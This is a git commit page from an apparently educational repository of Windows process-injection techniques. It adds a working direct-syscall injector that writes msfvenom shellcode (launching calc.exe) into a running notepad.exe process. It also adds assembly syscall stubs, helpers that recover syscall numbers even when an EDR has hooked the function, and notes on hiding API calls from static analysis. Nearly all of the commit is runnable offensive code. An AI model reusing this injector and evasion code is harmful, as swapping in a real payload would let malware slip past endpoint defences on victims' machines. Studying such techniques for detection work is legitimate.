Updating PEB/EAT code, adding syscall examples and snippets

This commit is contained in:
toneillcodes
2026-04-04 12:03:40 -04:00
parent ef0fea33c9
commit 7fd776ecfa
15 changed files with 364 additions and 17 deletions
+6 -6
View File
@@ -10,9 +10,9 @@ A collection of examples intended to demonstrate the fundamentals and provide a
* [injection-example-4.cpp](https://github.com/toneillcodes/windows-process-injection/blob/main/fundamentals/injection-example-4.cpp): injecting calc.exe msfvenom shellcode into a remote process, with memory protection toggling and using dynamic function resolution
## Techniques
* [Dynamic Function Resolution]()
* [Module Stomping]
* [Walking the PEB and EAT]
* [Direct Syscalls]
* [Indirect Syscalls]
* [Thread Pool Injection]
* [Dynamic Function Resolution](dynamic-function-resolution\README.md)
* [Module Stomping](module-stomping\README.md)
* [Walking the PEB and EAT](walking-peb-eat\README.md)
* [Direct Syscalls](direct-syscalls\README.md)
* [Indirect Syscalls](indirect-syscalls\README.md)
* [Thread Pool Injection](thread-pool-injection\README.md)
+112
View File
@@ -0,0 +1,112 @@
/*
* ml64.exe /c direct-syscalls.asm
* cl.exe direct-syscalls-ex.cpp ps-utils.cpp syscall-utils.cpp direct-syscalls.obj /Fe:direct-syscalls.exe
*/
#include <stdio.h>
#include "syscall-utils.h"
#include "ps-utils.h"
extern "C" {
// https://ntdoc.m417z.com/NtAllocateVirtualMemory
NTSTATUS SysNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// https://ntdoc.m417z.com/NtWriteVirtualMemory
NTSTATUS SysNtWriteVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
// https://ntdoc.m417z.com/ntcreatethreadex
NTSTATUS SysNtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
);
// https://ntdoc.m417z.com/NtWaitForSingleObject
NTSTATUS SysNtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
}
int main(int argc, char* argv[]) {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD pid = 0;
const wchar_t* processName = L"notepad.exe";
pid = FindPidByName(processName);
if (pid == 0) {
printf("[ERROR] Failed to obtain process ID!\n");
return -1;
}
printf("[*] Running PI with target PID: %u\n", pid);
// Open a handle to the current process, this must be passed to VirtualAllocEx
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (pHandle == NULL) {
printf("Failed to acquire process handle!\n");
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);
PVOID bufferAddress = NULL;
SIZE_T buffSize = sizeof(buf);
//SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
SysNtAllocateVirtualMemory(pHandle, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
SIZE_T bytesWritten;
//SysNtWriteVirtualMemory(GetCurrentProcess(), bufferAddress, buf, sizeof(buf), &bytesWritten);
SysNtWriteVirtualMemory(pHandle, bufferAddress, buf, sizeof(buf), &bytesWritten);
HANDLE hThread;
//SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pHandle, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
SysNtWaitForSingleObject(hThread, FALSE, NULL);
getchar();
return 0;
}
+69
View File
@@ -0,0 +1,69 @@
;
; Function: NtAllocateVirtualMemory
; SSN: 0x0018
;
; Function: NtWriteVirtualMemory
; SSN: 0x003A
;
; Function: NtCreateThreadEx
; SSN: 0x00BC
;
; Function: NtWaitForSingleObject
; SSN: 0x0004
;
.CODE
; --- NtAllocateVirtualMemory Wrapper ---
; This follows the x64 Calling Convention (Windows)
; Args: RCX, RDX, R8, R9, [Stack...]
SysNtAllocateVirtualMemory PROC
mov r10, rcx ; The 'syscall' instruction destroys RCX.
; We move the first argument (ProcessHandle) to R10
; because the kernel expects it there instead of RCX.
mov eax, 18h ; Load the System Service Number (SSN) into EAX.
; 0x18 is the ID for NtAllocateVirtualMemory on
; many Windows 10/11 x64 builds.
syscall ; Transfer control to the Windows Kernel.
; The CPU switches to Ring 0 and executes the function
; associated with the ID currently in EAX (0x18).
ret ; Return to the caller. The NTSTATUS result
; will be stored in the EAX register.
SysNtAllocateVirtualMemory ENDP
extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
;extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
;SysNtAllocateVirtualMemory PROC
; mov r10, rcx
; mov eax, wNtAllocateVirtualMemorySSN ; Load the dynamic SSN
; syscall
; ret
;SysNtAllocateVirtualMemory ENDP
SysNtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
syscall
ret
SysNtWriteVirtualMemory ENDP
SysNtCreateThreadEx PROC
mov r10, rcx
mov eax, 0BCh
syscall
ret
SysNtCreateThreadEx ENDP
SysNtWaitForSingleObject PROC
mov r10, rcx
mov eax, 4
syscall
ret
SysNtWaitForSingleObject ENDP
END
+25
View File
@@ -1,2 +1,27 @@
# Dyanmic Function Resolution
Intended to hide functions from static analysis that evaluates strings and the IAT.
## Overview
Define the prototype definition.
Use something that doesn't include the string you want to obfuscate.
P_VirtualAllocEx is used below along with 'myVirtualAllocEx' which are good for examples but horrible for OPSEC and defeats the purpose of DFR.
```
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
typedef LPVOID(WINAPI* P_VirtualAllocEx)(
HANDLE pHandle,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
```
Call GetProcAddress to resolve the address.
```
myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
```
Invoke the function.
```
LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
```
@@ -1,8 +1,3 @@
#include <stdio.h>
#include <windows.h>
#include <intrin.h> // Required for __readgsqword / __readfsdword
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
#include "peb-eat-utils.h"
#include "utils.h"
@@ -1,9 +1,11 @@
#ifndef PEB_EAT_UTILS_H
#define PEB_EAT_UTILS_H
#include <windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdio.h> // For IO operations
#include <windows.h> // For data structures, types, functions
#include <intrin.h> // Required for __readgsqword / __readfsdword
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
// Define missing NTSTATUS codes
#ifndef STATUS_SUCCESS
+28
View File
@@ -0,0 +1,28 @@
#include "ps-utils.h"
#include <tlhelp32.h>
#include <wchar.h>
extern "C" DWORD FindPidByName(const wchar_t* processName) {
DWORD pid = 0;
// Force the Wide-character version of the struct
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
// Create a snapshot of the system processes
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
// Force the Wide-character version of the API
if (Process32FirstW(snapshot, &entry)) {
do {
// Now both sides are Wide strings, so _wcsicmp works!
if (_wcsicmp(processName, entry.szExeFile) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
DWORD FindPidByName(const wchar_t* processName);
#ifdef __cplusplus
}
#endif
+40
View File
@@ -0,0 +1,40 @@
#include "syscall-utils.h"
extern "C" DWORD GetSSN(PVOID functionAddress) {
BYTE* ptr = (BYTE*)functionAddress;
/* We are looking for the 'mov eax, SSN' instruction.
The opcode is B8 (MOV EAX, imm32)
In most Windows stubs, it starts at the 4th byte:
4C 8B D1 B8 [SSN] 00 00 00
index 0: 4C 8B D1 (mov r10, rcx)
index 3: B8 <SSN> (mov eax, ...)
*/
if (ptr[3] == 0xB8) {
return *(DWORD*)(ptr + 4);
}
// If it's not at index 3, an EDR might have hooked it.
// We can search for the 0xB8 byte within the first few instructions.
for (int i = 0; i < 16; i++) {
if (ptr[i] == 0xB8) {
return *(DWORD*)(ptr + i + 1);
}
}
return 0;
}
// Simplified logic to find the 'syscall' opcode (0x0F 0x05)
extern "C" PVOID GetSyscallAddress(PVOID functionAddress) {
BYTE* ptr = (BYTE*)functionAddress;
// Search the first 32 bytes of the function for the syscall instruction 0f 05
for (int i = 0; i < 32; i++) {
if (ptr[i] == 0x0F && ptr[i+1] == 0x05) {
return (PVOID)(ptr + i);
}
}
return NULL;
}
+13
View File
@@ -0,0 +1,13 @@
#pragma once
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
DWORD GetSSN(PVOID functionAddress);
PVOID GetSyscallAddress(PVOID functionAddress);
#ifdef __cplusplus
}
#endif
+18
View File
@@ -0,0 +1,18 @@
#include <stdio.h>
#include "syscall-utils.h"
int main() {
HMODULE hModule = GetModuleHandleA("ntdll.dll");
PVOID funcAddress = GetProcAddress(hModule, "NtCreateThreadEx");
if (funcAddress) {
DWORD ssn = GetSSN(funcAddress);
PVOID sysAddr = GetSyscallAddress(funcAddress);
printf("Function: NtCreateThreadEx\n");
printf("SSN: 0x%04X\n", ssn);
printf("Syscall: 0x%p\n", sysAddr);
}
return 0;
}
+33
View File
@@ -0,0 +1,33 @@
.code
; extern "C" DWORD GetSSNFromAddress(PVOID funcAddr);
; Argument 'funcAddr' is in RCX
GetSSNFromAddress PROC
mov r8, rcx ; Copy function address to R8
xor rax, rax ; Clear RAX (our return value)
mov r9, 0 ; Counter for our search loop
search_loop:
; Check if we've searched too far (e.g., 32 bytes)
cmp r9, 32
je not_found
; Look for 0xB8 (mov eax, ...)
cmp byte ptr [r8 + r9], 0B8h
je found_ssn
inc r9
jmp search_loop
found_ssn:
; The SSN starts at the byte after 0xB8
inc r9
mov eax, dword ptr [r8 + r9]
ret
not_found:
xor eax, eax ; Return 0 if not found
ret
GetSSNFromAddress ENDP
END
+2 -2
View File
@@ -7,8 +7,8 @@
// for testing with MessageBoxA
#pragma comment(lib, "user32.lib")
#include "../header-files/utils.h"
#include "../header-files/peb-eat-utils.h"
#include "utils.h"
#include "peb-eat-utils.h"
#define MAX_EXPORTED_FUNCS 25